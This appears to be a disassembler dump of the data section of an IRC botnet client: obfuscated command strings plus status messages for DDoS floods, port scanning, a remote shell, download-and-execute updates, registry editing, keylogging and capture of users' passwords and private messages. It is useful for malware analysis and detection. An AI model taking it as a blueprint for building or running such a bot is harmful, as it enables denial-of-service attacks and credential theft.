					; sub_41D98A+25Fo
		align 4
aWpuwr_6yfru	db 'WpuWr.6YFRU/',0     ; DATA XREF: sub_403B2C+1C7Bo
					; sub_41D98A+26Ao
		align 4
a4rmbzFcic21	db '4RmBz/FCic21',0     ; DATA XREF: sub_403B2C+1CBFo
					; sub_41D98A+275o
		align 4
aSc_coSwlk_	db 'SC.Co/swLK/.',0     ; DATA XREF: sub_403B2C+1CE2o
					; sub_41D98A+283o
		align 4
aWyf3k1fthkz_	db 'WyF3K1fTHKz.',0     ; DATA XREF: sub_403B2C+11Ao
					; sub_403B2C+1DD9o ...
		align 4
aCwxsh_xflvu_	db 'cwXsH.xFlvu.',0     ; DATA XREF: sub_403B2C+1EC6o
					; sub_41D98A+299o
		align 4
aKxor8_os17a0	db 'KxOR8.oS17a0',0     ; DATA XREF: sub_403B2C+1DA6o
					; sub_403B2C+1E8Fo ...
		align 4
aSasd20nmhk50	db 'sAsD20NmhK50',0     ; DATA XREF: sub_403B2C+1D8Fo
					; sub_403B2C+1EA9o ...
		align 4
aHpmch0pbq800	db 'HPmCH0PbQ800',0     ; DATA XREF: sub_403B2C+1FF7o
					; sub_41D98A+2BAo
		align 4
aLees11vpbnf0	db 'LeEs11vPbnf0',0     ; DATA XREF: sub_403B2C+23A2o
					; sub_41D98A+2C5o
		align 4
aLbjvg0r_qmb_	db 'lbJVg0r.qMb.',0     ; DATA XREF: sub_403B2C+23C1o
					; sub_41D98A+2D0o
		align 4
aHj6vo0jrp9q0	db 'Hj6vo0JRP9Q0',0     ; DATA XREF: sub_403B2C+24A4o
					; sub_41D98A+2DEo
		align 4
aR7wrsQhek_0	db 'r7WRs/qHek.0',0     ; DATA XREF: sub_403B2C+2557o
					; sub_41D98A+2E9o
		align 4
aDuzcb0kgssv0	db 'DuzCb0KgSsv0',0     ; DATA XREF: sub_403B2C+27E1o
					; sub_41D98A+2F4o
		align 4
aDqjso_47pdb	db 'dQJSO.47pdb/',0     ; DATA XREF: sub_403B2C+29FCo
					; sub_41D98A+2FFo
		align 4
aK9vUKkutm	db 'K9V/U/KkuTM/',0     ; DATA XREF: sub_403B2C+2AC8o
					; sub_41D98A+30Ao
		align 4
a7yfnz0pw11s1	db '7yfnz0PW11s1',0     ; DATA XREF: sub_403B2C+2B7Bo
					; sub_41D98A+315o
		align 4
aNq_as1z1sit	db 'nQ.As1Z1SIt/',0     ; DATA XREF: sub_403B2C+2C2Eo
					; sub_41D98A+320o
		align 4
aUn3hk0sn58o_0	db 'uN3hk0sn58o/',0     ; DATA XREF: sub_403B2C+2C6Eo
					; sub_41D98A+32Bo
		align 4
aQrn4z10ge1i1_0	db 'QRn4z10ge1I1',0     ; DATA XREF: sub_403B2C+2D13o
					; sub_41D98A+339o
		align 4
aIegud0v_5_	db 'iEguD0V/.5/.',0     ; DATA XREF: sub_403B2C+2D53o
					; sub_41D98A+344o
		align 4
aFc9kk1jx11g_	db 'fc9Kk1jX11G.',0     ; DATA XREF: sub_403B2C+2D98o
					; sub_41D98A+34Fo
		align 4
aDnjq8Ze3zw	db 'DnjQ8/ze3ZW/',0     ; DATA XREF: sub_403B2C+2E0Ao
					; sub_41D98A+35Ao
		align 4
aVi0qa1mvfro1	db 'VI0QA1mvfro1',0     ; DATA XREF: sub_403B2C+2F5Fo
					; sub_41D98A+365o
		align 4
aJdzdp05e7aw_	db 'jdZDp05E7aW.',0     ; DATA XREF: sub_403B2C+333Fo
					; sub_41D98A+370o
		align 4
aW3gp6_13acy1	db 'W3GP6.13AcY1',0     ; DATA XREF: sub_403B2C+33A2o
					; sub_41D98A+37Bo
		align 4
aZat3j_lm3ge1	db 'zAT3J.lm3Ge1',0     ; DATA XREF: sub_403B2C+34B7o
					; sub_41D98A+386o
		align 4
aLjAmKzrtp1	db 'lJ/am/kZRtP1',0     ; DATA XREF: sub_403B2C+3502o
					; sub_41D98A+394o
		align 4
aXzaru0amxhi_	db 'XZArU0aMxhi.',0     ; DATA XREF: sub_403B2C+35F6o
					; sub_41D98A+39Fo
		align 4
aRa7e2Hhxpf0	db 'rA7E2/hHXPf0',0     ; DATA XREF: sub_403B2C+36EAo
					; sub_41D98A+3AAo
		align 4
aRp4sr11cvr1	db 'Rp4sR11CvR1/',0     ; DATA XREF: sub_403B2C+380Bo
					; sub_41D98A+3B5o
		align 4
aZqrvt0t6nmz_	db 'ZqrVt0t6nmZ.',0     ; DATA XREF: sub_403B2C+393Bo
					; sub_41D98A+3C0o
		align 4
a1shta0bzfwk1	db '1ShtA0bzFwk1',0     ; DATA XREF: sub_403B2C+39EEo
					; sub_41D98A+3CBo
		align 4
aAzcsp_hkilo_	db 'AZcsP.hkiLO.',0     ; DATA XREF: sub_403B2C+3A57o
					; sub_41D98A+3D6o
		align 4
aIkgekKykjq1	db 'iKgEK/kyKJQ1',0     ; DATA XREF: sub_403B2C+4FCBo
					; sub_41D98A+3E1o
		align 4
a6x7zf1eztny_	db '6x7zf1EztnY.',0     ; DATA XREF: sub_403B2C+4FDCo
					; sub_41D98A+3EFo
		align 4
a7otcu0fic6v0	db '7otcU0FiC6V0',0     ; DATA XREF: sub_403B2C+4FEDo
					; sub_41D98A+3FAo
		align 4
aMb05gVyf8f1	db 'mb05g/VYf8f1',0     ; DATA XREF: sub_403B2C+4FFEo
					; sub_41D98A+405o
		align 4
aFyflu0ji3xh_	db 'FyFlU0jI3XH.',0     ; DATA XREF: sub_403B2C+500Fo
					; sub_41D98A+410o
		align 4
aSbsip_o7v4b	db 'SbsIp.o7V4B/',0     ; DATA XREF: sub_403B2C+5020o
					; sub_41D98A+41Bo
		align 4
aN3saa1expwu1	db 'n3sAa1exPWU1',0     ; DATA XREF: sub_403B2C+6067o
					; sub_41D98A+426o
		align 4
aBurnP75wk	db '/BURN/P75Wk/',0     ; DATA XREF: sub_403B2C+62D4o
					; sub_41D98A+431o
		align 4
aXkg84_cesgs_	db 'XkG84.cESgs.',0     ; DATA XREF: sub_403B2C+53B4o
					; sub_41D98A+43Co
		align 4
aPsern1aagh6_	db 'pSern1AAGh6.',0     ; DATA XREF: sub_403B2C+5212o
					; sub_41D98A+44Ao
		align 4
aUyfog_dvvny0	db 'UyfOG.DvVnY0',0     ; DATA XREF: sub_403B2C+5039o
					; sub_41D98A+455o
		align 4
aP06vqBfbmo_	db 'p06vq/BFBMo.',0     ; DATA XREF: sub_403B2C+5564o
					; sub_41D98A+460o
		align 4
a3vvsv1vurua	db '3VVsV1VuRUA/',0     ; DATA XREF: sub_403B2C+5790o
					; sub_41D98A+46Bo
		align 4
a2onvg1wfjmb1	db '2ONVG1WFjmb1',0     ; DATA XREF: sub_403B2C+57A9o
					; sub_41D98A+476o
		align 4
aZqhijZaeza_	db 'ZqhIJ/ZaEZa.',0     ; DATA XREF: sub_403B2C+5999o
					; sub_41D98A+481o
		align 4
aKmdie1uwntq	db 'KmdIe1UwntQ/',0     ; DATA XREF: sub_403B2C+6489o
					; sub_41D98A+48Co
		align 4
aUpx0wCz2ei0qrn	db 'UPx0W/cz2EI0QRn4z10ge1I1',0 ; DATA XREF: sub_403B2C+6617o
					; sub_41D98A+497o
		align 10h
aV6jbh0k4uD_	db 'V6jBH0k4u/d.',0     ; DATA XREF: sub_403B2C+6649o
					; sub_41D98A+4A5o
		align 10h
aB2smo_whkew_qr	db 'B2smo.WHkeW.QRn4z10ge1I1',0 ; DATA XREF: sub_403B2C+66E9o
					; sub_41D98A+4B0o
		align 4
aX4cty1aeqwx	db 'X4Cty1aEQwX/',0     ; DATA XREF: sub_403B2C+670Ao
					; sub_41D98A+4BBo
		align 4
aEm42x_1iszi1	db 'Em42x.1IsZI1',0     ; DATA XREF: sub_403B2C+5E10o
					; sub_41D98A+4C6o
		align 4
aErnniHm17t1qrn	db 'ERNNi/HM17T1QRn4z10ge1I1',0 ; DATA XREF: sub_403B2C+603Eo
					; sub_41D98A+4D1o
		align 4
aZk1tr0lpp5r0	db 'Zk1Tr0lpP5R0',0     ; DATA XREF: sub_403B2C+59B2o
					; sub_41D98A+4DCo
		align 4
a6ldraK4kds	db '6ldRA/K4kDS/',0     ; DATA XREF: sub_403B2C+5BB9o
					; sub_41D98A+4E7o
		align 4
aX_62c_3ldcp	db 'X.62C.3LDCP/',0     ; DATA XREF: sub_403B2C+5BD2o
					; sub_41D98A+4F2o
		align 4
aWt4rnWgl6v_	db 'wt4Rn/WGL6V.',0     ; DATA XREF: sub_403B2C+5DF7o
					; sub_41D98A+500o
		align 4
aXxulc08o9rf0	db 'Xxulc08O9rf0',0     ; DATA XREF: sub_403B2C+62EDo
					; sub_41D98A+50Bo
		align 4
aFepmfZswfd	db 'FEpMF/ZswFD/',0     ; DATA XREF: sub_403B2C+3AD6o
					; sub_41D98A+516o
		align 4
aSud8hRsu8j1	db 'sUd8h/rsu8j1',0     ; DATA XREF: sub_403B2C+202o
					; sub_403B2C+3B91o ...
		align 4
aJ2yyw_j09xc	db 'j2yYw.J09XC/',0     ; DATA XREF: sub_403B2C+20Fo
					; sub_403B2C+3CA7o ...
		align 4
a43ucs0rkqux_	db '43uCS0rkQUx.',0     ; DATA XREF: sub_403B2C+3D95o
					; sub_41D98A+537o
		align 4
aZjiqo07c20	db 'ZjIqO/07c2/0',0     ; DATA XREF: sub_403B2C+4828o
					; sub_41D98A+542o
		align 4
aA4pllAqpbg_	db 'a4pll/aQpBg.',0     ; DATA XREF: sub_403B2C+4A05o
					; sub_41D98A+54Do
		align 4
aNn0i61ujg7h1	db 'NN0i61uJg7H1',0     ; DATA XREF: sub_403B2C+4D02o
					; sub_41D98A+55Bo
		align 4
aEavyh_ic0dc0_0	db 'eAvYh.IC0dc0',0     ; DATA XREF: sub_403B2C+4857o
					; sub_41D98A+566o
		align 4
aUfbss0cbo8c_	db 'uFbSS0Cbo8C.',0     ; DATA XREF: sub_403B2C+1D5o
					; sub_403B2C+3DAEo ...
		align 4
aNoazx1alvg0	db 'NoaZx1Alvg/0',0     ; DATA XREF: sub_403B2C+1E9o
					; sub_403B2C+3F55o ...
		align 4
aSOk		db '%s OK',0            ; DATA XREF: sub_419B2F+27Bo
		align 10h
aSFullTryLater	db '%s Full try Later!',0 ; DATA XREF: sub_419B2F+242o
		align 4
aSSpyalertSS@SS	db '%s SpyAlert: [%s!%s@%s] -> (Sent PM: "%s")',0
					; DATA XREF: sub_419B2F+14Bo
		align 10h
aSSpyalertLogin	db '%s SpyAlert: Login Attempt -> [%s!%s@%s] -> (Tried Pass: "%s")',0
					; DATA XREF: sub_419B2F+1F2o
		align 10h
aSS_5		db '%s [%s] ~',0
		align 4
aSILoggedOut	db '%s [%i] logged out',0
		align 10h
aSNoUserLoggedA	db '%s No user logged at slot: [%i]',0
aSInvalidLoginS	db '%s Invalid login slot: [%i]',0
aSStoppedDThrea	db '%s Stopped: [%d] thread(s)',0 ; DATA XREF: sub_403B2C+9D2o
		align 4
aSNoThreadSFoun	db '%s No thread(s) found',0 ; DATA XREF: sub_403B2C:loc_40452Eo
		align 10h
aSKilledThreadS	db '%s Killed thread: [%s]',0 ; DATA XREF: sub_403B2C+A35o
					; sub_403B2C+A56o
		align 4
aSFailedToKillT	db '%s Failed to kill thread: [%s]',0 ; DATA XREF: sub_403B2C+A70o
					; sub_403B2C+A91o
		align 4
aSSAlreadyRunni	db '%s %s Already running at thread number: [%d]',0
					; DATA XREF: sub_403B2C+AB3o
					; sub_403B2C+C26o ...
		align 4
aSFailedToStart	db '%s Failed to start [%s], error: [%d]',0 ; DATA XREF: sub_403B2C+B97o
					; sub_403B2C+E77o ...
		align 10h
aSBoxSUpSBotupS	db '%s Box: [%s], Up: [%s], BotUp: [%s], Connected For: [%s]',0
		align 4
aS_6		db '[%s] ~',0           ; DATA XREF: sub_403B2C+274o
		align 4
aRemoveCmdRecei	db 'Remove cmd received: [%s!%s@root]',0 ; DATA XREF: sub_403B2C+853o
		align 4
aUpdateCmdRecei	db 'Update cmd received: [%s!%s@root]',0 ; DATA XREF: sub_40CDE2+625o
		align 4
aSMainThread	db '%s Main thread',0   ; DATA XREF: sub_412267+39o
		align 4
aSAutosecure	db '%s AutoSecure',0    ; DATA XREF: sub_412267+EFo
		align 4
aSMissingParamS	db '%s Missing param(s)',0 ; DATA XREF: sub_403B2C+693o
					; sub_403B2C+15E3o ...
aSS_		db '%s %s.',0           ; DATA XREF: sub_403B2C+7338o
					; sub_4177A2+56o
		align 4
aUnsecure	db 'Unsecure',0         ; DATA XREF: sub_403B2C+732Co
					; sub_403B2C+73B6o ...
		align 4
off_434A64	dd offset byte_636553	; DATA XREF: sub_403B2C+72AFo
aSNoSubnetCla_0	db '%s No subnet class specified',0 ; DATA XREF: sub_403B2C:loc_40AD5Ao
		align 4
aSNoIpSpecifi_0	db '%s No IP specified',0 ; DATA XREF: sub_403B2C:loc_40AD53o
		align 10h
aSSPortscanSt_0	db '%s %s PortScan started on %s:%d with a delay of %d seconds for %d'
					; DATA XREF: sub_403B2C+70CBo
					; sub_403B2C+71BFo ...
		db ' minutes using %d threads',0
		align 4
aSPortInvalid_	db '%s Port invalid.',0 ; DATA XREF: sub_403B2C+6DFAo
		align 10h
aSInvalidPort_	db '%s Invalid port.',0 ; DATA XREF: sub_403B2C+6DDCo
		align 4
aSFailedToSta_4	db '%s Failed to start flood thread, error: <%d>.',0
					; DATA XREF: sub_403B2C+6A71o
					; sub_403B2C+6A92o
		align 4
aSSSDForDSecs_	db '%s %s --> (%s:%d) for %d secs.',0 ; DATA XREF: sub_403B2C+6A15o
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_403B2C+69F2o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_403B2C+69EBo
aTcpThreads	db 'Tcp Threads',0      ; DATA XREF: sub_403B2C+692Eo
					; sub_403B2C+6950o
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_403B2C+67DCo
		db 'Referer: %s',0Dh,0Ah
		db 'User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; .N'
		db 'ET CLR 1.1.4322)',0Dh,0Ah
		db 'Host: %s',0Dh,0Ah
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aSSocketError_	db '%s Socket Error.',0 ; DATA XREF: sub_403B2C+675Eo
					; sub_403B2C+6839o
		align 4
aSStopped_	db '%s Stopped.',0      ; DATA XREF: sub_403B2C+6700o
aIexplore_exe	db 'iexplore.exe',0     ; DATA XREF: sub_403B2C+66F5o
					; .text:0043F714o
		align 4
aSSiteFailedToO	db '%s Site failed to open.',0 ; DATA XREF: sub_403B2C+66C0o
					; sub_403B2C+66DDo
aSSiteOpened_	db '%s Site opened.',0  ; DATA XREF: sub_403B2C+6686o
aOpen		db 'open',0             ; DATA XREF: sub_403B2C+666Do
					; sub_414810+3Bo ...
		align 4
aIexplore	db 'iexplore',0         ; DATA XREF: sub_403B2C+6668o
		align 4
aVisit		db 'Visit',0            ; DATA XREF: sub_403B2C+6622o
		align 4
aSS__0		db '%s --> (%s).',0     ; DATA XREF: sub_403B2C+6580o
					; sub_403B2C+659Do ...
		align 4
aVisitThreads	db 'Visit Threads',0    ; DATA XREF: sub_403B2C+6501o
		align 4
aVisitthreads	db 'VisitThreads',0     ; DATA XREF: sub_403B2C+64DFo
		align 4
off_434CCC	dd offset byte_504455	; DATA XREF: sub_403B2C+62DFo
aSSendingDToSPa	db '%s Sending %d to: %s, Packet size: %d, Delay: %dms.',0
					; DATA XREF: sub_403B2C+6254o
aSFailedToSta_3	db '%s Failed to start thread,error: <%d>.',0 ; DATA XREF: sub_403B2C+6213o
					; sub_403B2C+6236o
		align 4
aUdpThreads	db 'UDP Threads',0      ; DATA XREF: sub_403B2C+60C3o
					; sub_403B2C+60E5o
aHttpf		db 'HTTPF',0            ; DATA XREF: sub_403B2C+6049o
		align 10h
aSSDDPackets_	db '%s --> (%s:%d) %d packets.',0 ; DATA XREF: sub_403B2C+5F70o
					; sub_403B2C+5FA1o ...
		align 4
aSNoDelay_	db '%s No delay.',0     ; DATA XREF: sub_403B2C:loc_409A6Eo
		align 4
aHttpfThreads	db 'HTTPF Threads',0    ; DATA XREF: sub_403B2C+5E75o
					; sub_403B2C+5E97o
		align 4
aTarga		db 'Targa',0            ; DATA XREF: sub_403B2C+5E02o
		align 4
aSSDForDSecSWit	db '%s --> (%s:%d) for %d sec',27h,'s with %d delay.',0
					; DATA XREF: sub_403B2C+5D15o
					; sub_403B2C+5D50o ...
		align 10h
aTargaThreads	db 'Targa Threads',0    ; DATA XREF: sub_403B2C+5C2Eo
					; sub_403B2C+5C50o
		align 10h
aTaipan		db 'TaiPan',0           ; DATA XREF: sub_403B2C+5BC4o
		align 4
aSSForDSecS	db '%s --> (%s) for %d sec',27h,'s',0 ; DATA XREF: sub_403B2C+5B46o
		align 4
aSSDForDSecS	db '%s --> (%s:%d) for %d sec',27h,'s',0 ; DATA XREF: sub_403B2C+5AEBo
					; sub_403B2C+5B1Co
aTaipanThreads	db 'Taipan Threads',0   ; DATA XREF: sub_403B2C+5A0Eo
					; sub_403B2C+5A30o
		align 10h
aIgmp		db 'IGMP',0             ; DATA XREF: sub_403B2C+59A4o
		align 4
aIgmpThreads	db 'IGMP Threads',0     ; DATA XREF: sub_403B2C+5805o
					; sub_403B2C+5827o
		align 4
aKdos		db 'KDOS',0             ; DATA XREF: sub_403B2C+579Bo
		align 10h
aSFailedToSta_2	db '%s Failed to start thread, error: (%d)',0 ; DATA XREF: sub_403B2C+573Eo
					; sub_403B2C+575Fo
		align 4
aKdosThreads	db 'KDOS Threads',0     ; DATA XREF: sub_403B2C+55C2o
					; sub_403B2C+55E4o
		align 4
aSFailedToSta_1	db '%s Failed to start thread, error: (%d).',0 ; DATA XREF: sub_403B2C+51C1o
aSSDForDSecs_	db '%s --> (%s:%d) for (%d secs).',0 ; DATA XREF: sub_403B2C+511Co
					; sub_403B2C+514Do ...
		align 10h
aTcp		db 'Tcp',0              ; DATA XREF: sub_403B2C+502Bo
aSFailedToWri_0	db '%s Failed to write: %s\%s\%s (%s)',0 ; DATA XREF: sub_403B2C+4F57o
					; sub_403B2C+4F81o
		align 4
aSWroteKeySSSS	db '%s Wrote key: %s\%s\%s (%s)',0 ; DATA XREF: sub_403B2C+4F00o
					; sub_403B2C+4F2Ao
aSFailedToWrite	db '%s Failed to write: %s\%s\%s (%d)',0 ; DATA XREF: sub_403B2C+4E82o
					; sub_403B2C+4EB2o
		align 4
aSSuccessfullyW	db '%s Successfully wrote: %s\%s\%s (%d)',0 ; DATA XREF: sub_403B2C+4E2Co
					; sub_403B2C+4E5Co
		align 10h
aSQuerySSSS	db '%s Query: %s\%s\%s: %s',0 ; DATA XREF: sub_403B2C+4CC5o
		align 4
aSFinishedDispl	db '%s Finished displaying: %s\%s\%s',0 ; DATA XREF: sub_403B2C+4C85o
					; sub_403B2C+4CACo
		align 4
aSDisplayingSSS	db '%s Displaying: %s\%s\%s',0 ; DATA XREF: sub_403B2C+4BC8o
					; sub_403B2C+4BEBo
aSFailedToQue_0	db '%s Failed to query: %s\%s\%s',0 ; DATA XREF: sub_403B2C+4B76o
					; sub_403B2C+4CE1o
		align 4
aSQuerySSSD	db '%s Query: %s\%s\%s: %d',0 ; DATA XREF: sub_403B2C+4B4Do
		align 4
aSFailedToQuery	db '%s Failed to query: %s\%s',0 ; DATA XREF: sub_403B2C:loc_408577o
		align 4
aSDoneWithQuery	db '%s Done with query: %s\%s',0 ; DATA XREF: sub_403B2C+4A44o
		align 4
aSFailedToErase	db '%s Failed to erase key: %s\%s\%s',0 ; DATA XREF: sub_403B2C+49CDo
					; sub_403B2C+49F8o
		align 4
aSErasedKeySSS	db '%s Erased Key: %s\%s\%s',0 ; DATA XREF: sub_403B2C+497Eo
					; sub_403B2C+49A9o
aSFailedToSta_0	db '%s Failed to start scan thread, error: <%d>.',0
					; DATA XREF: sub_403B2C+4698o
					; sub_403B2C+46B9o ...
		align 10h
aSSPortscanStar	db '%s %s PortScan started on %s:%d with a delay of %d seconds for %d'
					; DATA XREF: sub_403B2C+4628o
		db ' minutes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_403B2C+4612o
					; sub_403B2C+46F6o ...
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_403B2C+460Bo
					; sub_403B2C+46EFo ...
		align 10h
aSNoSubnetClass	db '%s No subnet class specified.',0 ; DATA XREF: sub_403B2C+4529o
		align 10h
aSNoIpSpecified	db '%s No IP specified.',0 ; DATA XREF: sub_403B2C+443Bo
aD_x_x_x	db '%d.x.x.x',0         ; DATA XREF: sub_403B2C+43B9o
					; sub_403B2C+6E50o
		align 10h
aX_x_x_x	db 'x.x.x.x',0          ; DATA XREF: sub_403B2C+4386o
					; sub_403B2C+6E1Do
aSInvalidPort	db '%s Invalid port',0  ; DATA XREF: sub_403B2C+4370o
aSDownloading_0	db '%s Downloading update',0 ; DATA XREF: sub_403B2C+416Ao
		align 10h
aSDownloadingUp	db '%s Downloading update to: (%s)',0 ; DATA XREF: sub_403B2C+40CBo
		align 10h
aSmsoftDDDDD_ex	db '%smsoft%d%d%d%d%d.exe',0 ; DATA XREF: sub_403B2C+4035o
		align 4
aSDownload	db '%s Download',0      ; DATA XREF: sub_403B2C+3F3Ao
aSDownloadingTo	db '%s Downloading to: %s.',0 ; DATA XREF: sub_403B2C+3E9Bo
		align 4
aSCommandsS_	db '%s Commands: %s.',0 ; DATA XREF: sub_403B2C+3D5Ao
		align 10h
aSErrorSendingT	db '%s Error sending to shell.',0 ; DATA XREF: sub_403B2C+3D4Co
		align 4
aSShellReady_	db '%s Shell ready.',0  ; DATA XREF: sub_403B2C+3C7Do
					; sub_403B2C+3C9Bo
aSCouldnTOpenSh	db '%s Couldn',27h,'t open shell.',0 ; DATA XREF: sub_403B2C+3C3Bo
aSRemoteShellRu	db '%s Remote shell running.',0 ; DATA XREF: sub_403B2C+3BECo
		align 10h
aSSystemcallSen	db '%s SystemCall sent: "%s"',0 ; DATA XREF: sub_403B2C+3B74o
		align 4
aSSystemcallFai	db '%s SystemCall failed.',0 ; DATA XREF: sub_403B2C+3B57o
		align 4
aSUnloaded_	db '%s Unloaded.',0     ; DATA XREF: sub_403B2C+3AA5o
		align 4
aSNickservDrop	db '%s nickserv drop',0 ; DATA XREF: sub_403B2C+3A72o
		align 4
aSNickservRegis	db '%s nickserv :register pass103 %s',0 ; DATA XREF: sub_403B2C+3A3Ao
		align 4
aS@S_com	db '%s@%s.com',0        ; DATA XREF: sub_403B2C+3A1Do
		align 4
aSMemoservSendS	db '%s memoserv :send %s %s',0 ; DATA XREF: sub_403B2C+39D1o
dword_4352C0	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 73252220h
					; DATA XREF: sub_403B2C+3385o
		dd 31322022h, 30373033h, 33333436h, 1642520h, 0
aAAAAAAAAAAAAAA	db 'a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a'
					; DATA XREF: sub_403B2C+3372o
		db ' a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a '
		db 'a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a'
		db ' a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a '
		db 'a a a a',0
aSSDccSendCS	db '%s %s :DCC SEND C:\\\\%s',0 ; DATA XREF: sub_403B2C+32E4o
		align 10h
dword_435410	dd 25207325h, 23A2073h,	25323103h, 73250373h, 25323103h
					; DATA XREF: sub_403B2C+32C4o
		dd 20373h
dword_435428	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 20732520h
					; DATA XREF: sub_403B2C+3295o
		dd 30333132h, 34363037h, 25203333h, 164h
dword_43544C	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 2E642520h
					; DATA XREF: sub_403B2C+3265o
		dd 20657865h, 63657845h, 6E697475h, 69662067h, 2520656Ch
		dd 164h
dword_435478	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 2E642520h
					; DATA XREF: sub_403B2C+322Bo
		dd 20747874h, 6E65704Fh, 25206465h, 202C2064h, 64616572h
		dd 2C676E69h, 706D6F63h, 6574656Ch, 202D2064h, 6F6C7075h
		dd 63206461h, 6C706D6Fh, 21657465h, 1
dword_4354C4	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 576F5720h
					; DATA XREF: sub_403B2C+31F1o
		dd 5F736569h, 69576F57h, 575F7365h, 6569576Fh, 31322073h
		dd 30373033h, 33333436h, 1642520h, 2 dup(0)
dword_435500	dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h
					; DATA XREF: sub_403B2C+31C2o
		dd 3A05564h, 252C6425h,	25034864h, 64252C64h, 64250341h
		dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h,	3426425h
		dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch
		dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h
		dd 3A05464h, 252C6425h,	25034964h, 64252C64h, 2503A04Eh
		dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h
		dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h
		dd 2034E64h, 0
dword_4355A8	dd 69257325h, 0	dword_4355B0	dd 434F4E4Bh, 7325204Bh, 73253A20h, 0dword_4355C0	dd 25207325h, 73252073h, 0					; sub_403B2C+2CA1o
dword_4355CC	dd 25207325h, 13A2073h,	474E4946h, 15245h					; sub_403B2C+29DFo ...
dword_4355DC	dd 25207325h, 13A2073h,	53524556h, 14E4F49h, 0					; sub_403B2C+3776o
dword_4355F0	dd 25207325h, 13A2073h,	474E4950h, 1					; sub_403B2C+28EFo ...
dword_435600	dd 25207325h, 13A2073h,	17325h,	0dword_435610	dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h
					; DATA XREF: sub_403B2C+27A0o
		dd 3A05564h, 252C6425h,	25034864h, 64252C64h, 64250341h
		dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h,	3426425h
		dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch
		dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h
		dd 3A05464h, 252C6425h,	25034964h, 64252C64h, 2503A04Eh
		dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h
		dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h
		dd 73204E64h, 74726174h, 79656B20h, 67676F6Ch, 2037265h
		dd 0
dword_4356C8	dd 25207325h, 253A2073h, 73h					; sub_403B2C+27C0o ...
aSLoadedOntoSDA	db '%s Loaded Onto: (%s:%d), Amount: (%d)',0 ; DATA XREF: sub_403B2C+245Ao
					; sub_403B2C+248Fo
		align 4
aSTooMuchConns_	db '%s Too Much conns.',0 ; DATA XREF: sub_403B2C+2409o
		align 10h
aSConnectionClo	db '%s Connection closed: (%i/%ikB sent).',0 ; DATA XREF: sub_403B2C+2371o
		align 4
aSTimedOutClosi	db '%s Timed Out, closing connection.',0 ; DATA XREF: sub_403B2C+2270o
		align 4
aSDDI		db '%s %d %d %i',0      ; DATA XREF: sub_403B2C+221Fo
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_403B2C+21E9o
		align 4
aSendingYouS	db 'Sending you %s',0   ; DATA XREF: sub_403B2C+21C9o
		align 4
aSSocketError	db '%s Socket Error',0  ; DATA XREF: sub_403B2C+2185o
aSSocketBindErr	db '%s Socket Bind Error',0 ; DATA XREF: sub_403B2C+214Fo
		align 4
aSInvalidSocket	db '%s Invalid Socket',0 ; DATA XREF: sub_403B2C+20FAo
		align 4
aSNoFile	db '%s No file',0       ; DATA XREF: sub_403B2C+20CCo
		align 4
aDrives		db 'Drives',0           ; DATA XREF: sub_403B2C+1FB0o
					; sub_403B2C+1FD6o
		align 4
aSDrives	db '%s Drives',0        ; DATA XREF: sub_403B2C+1F52o
		align 4
aGb		db 'GB',0               ; DATA XREF: sub_403B2C:loc_405A3Do
					; sub_4154DA:loc_415527o ...
		align 4
aMb		db 'MB',0               ; DATA XREF: sub_403B2C+1EFFo
					; sub_4154DA+2Co ...
		align 10h
aKb		db 'KB',0               ; DATA XREF: sub_403B2C+1EE7o
					; sub_4154DA+17o ...
		align 4
aDrivesList	db 'Drives List',0      ; DATA XREF: sub_403B2C+1E0Eo
					; sub_403B2C+1E30o
aSObtainingExte	db '%s Obtaining external IP',0 ; DATA XREF: sub_403B2C+1D26o
					; sub_403B2C+1D44o
		align 4
aSFailedToLoadD	db '%s Failed to load dnsapi.dll.',0 ; DATA XREF: sub_403B2C+1CB3o
		align 4
aSFailedToFlu_0	db '%s Failed to flush DNS cache.',0 ; DATA XREF: sub_403B2C:loc_4057D0o
		align 4
aSDnsCacheFlush	db '%s DNS cache flushed.',0 ; DATA XREF: sub_403B2C+1C9Ao
		align 4
aSFailedToFlush	db '%s Failed to flush ARP.',0 ; DATA XREF: sub_403B2C+1C6Fo
aSArpFlushed_	db '%s ARP flushed.',0  ; DATA XREF: sub_403B2C+1C64o
aSSentIrcRawS_	db '%s Sent IRC raw: "%s".',0 ; DATA XREF: sub_403B2C+1C12o
		align 4
aSEftpdEnabledO	db '%s EFTPD enabled on port: %i, thread number: %i.',0
					; DATA XREF: sub_403B2C+1AC9o
					; sub_403B2C+1AF2o
		align 4
aEftpd		db 'EFTPD',0            ; DATA XREF: sub_403B2C+1A69o
					; sub_403B2C+1A8Fo
		align 10h
aSServerStarted	db '%s Server started on Port: %i, File: %s.',0
					; DATA XREF: sub_403B2C+19FDo
		align 10h
aSEftpdRunningO	db '%s EFTPD running on port: %i, thread number: %i, Total sends: %i.'
					; DATA XREF: sub_403B2C+1935o
					; sub_403B2C+1961o
		db 0
		align 4
